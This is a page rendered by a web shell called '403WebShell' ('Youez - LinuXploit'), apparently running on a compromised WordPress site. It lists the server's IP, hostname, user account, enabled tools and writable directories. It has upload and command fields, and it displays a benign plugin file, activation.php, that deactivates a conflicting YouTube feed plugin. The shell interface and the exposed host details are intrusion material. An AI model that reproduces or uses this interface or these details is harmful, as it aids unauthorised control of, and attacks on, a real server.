Uname:Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64

Base Dir : /home/httpd/vhosts/comeonline.ch/httpdocs

User : onlineadmin


403WebShell
403Webshell
Server IP : 80.74.154.100  /  Your IP : 216.73.217.0
Web Server : Apache
System : Linux marissa.metanet.ch 4.18.0-553.141.2.lve.el7h.x86_64 #1 SMP Wed Jul 8 17:20:31 UTC 2026 x86_64
User : onlineadmin ( 10487)
PHP Version : 8.5.7
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/feeds-for-youtube/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/vhosts/comeonline.ch/httpdocs/wp-content/plugins/feeds-for-youtube/activation.php
<?php

if (!function_exists('sby_on_plugin_activation')) {
    function sby_on_plugin_activation($plugin)
    {
        if (basename($plugin) !== 'youtube-feed.php') {
            return;
        }

        $plugin_to_deactivate = 'feeds-for-youtube';
        if (false !== strpos($plugin, $plugin_to_deactivate)) {
            $plugin_to_deactivate = 'youtube-feed-pro';
        }

        foreach (sby_get_active_plugins() as $basename) {
            if ($basename === $plugin_to_deactivate . '/youtube-feed.php') {
                deactivate_plugins($basename);

                return;
            }
        }
    }

    function sby_get_active_plugins()
    {
        if (is_multisite()) {
            $active_plugins = array_keys((array)get_site_option('active_sitewide_plugins', array()));
        } else {
            $active_plugins = (array)get_option('active_plugins', array());
        }

        return $active_plugins;
    }
}

add_action('activated_plugin', 'sby_on_plugin_activation');

Youez - 2016 - github.com/yon3zu
LinuXploit